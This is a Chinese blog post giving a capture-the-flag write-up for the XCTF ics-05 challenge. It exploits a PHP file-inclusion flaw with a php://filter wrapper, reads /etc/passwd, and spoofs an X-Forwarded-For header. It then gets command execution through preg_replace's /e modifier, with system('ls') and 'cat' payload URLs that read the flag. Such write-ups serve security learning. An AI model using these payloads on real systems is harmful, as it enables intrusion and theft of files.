Loading

XCTF-ics-05(文件包含+preg_replace函数/e修正符下的代码执行漏洞)

记一道preg_replace函数/e模式下的代码执行漏洞利用的题。
只有设备维护中心页面可以进入,页面没有什么可点击的,查看源代码,发现这里有个参数。

拼接到url,页面显示index,拼接/etc/passwd。

那么存在文件包含漏洞无疑。通过这个漏洞我们可以结合php伪协议读取到index.php的内容。

?page=php://filter/read=convert.base64-encode/resource=index.php

base64解密拿到源码。

<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

1、这里需要IP欺骗加一个x-forwarded-for:127.0.0.1。
2、需要存在三个Get参数pat,rep,sub。然后preg_replace函数进行正则匹配。
了解一下这个函数

preg_replace 函数执行一个正则表达式的搜索和替换。
    语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] 
    参数:$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
        $replacement: 用于替换的字符串或字符串数组。
        $subject: 要搜索替换的目标字符串或字符串数组。
        $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
        $count: 可选,为替换执行的次数。

其实就是搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
再看/e 修正符用在函数 preg_replace() 时,会将 replacement 参数当作 PHP 代码从而导致代码执行。
构造payload:

/index.php?pat=/1/e&rep=system("ls");&sub=1
/index.php?pat=/1/e&rep=system("ls+s3chahahaDir");&sub=1
/index.php?pat=/1/e&rep=system("ls+s3chahahaDir/flag");&sub=1
/index.php?pat=/1/e&rep=system("cat+s3chahahaDir/flag/flag.php");&sub=1

参考链接:
https://virtua11.github.io/2018/07/06/代码执行漏洞--preg_replace()/

posted @ 2020-06-23 15:10  Hel10  阅读(259)  评论(0编辑  收藏  举报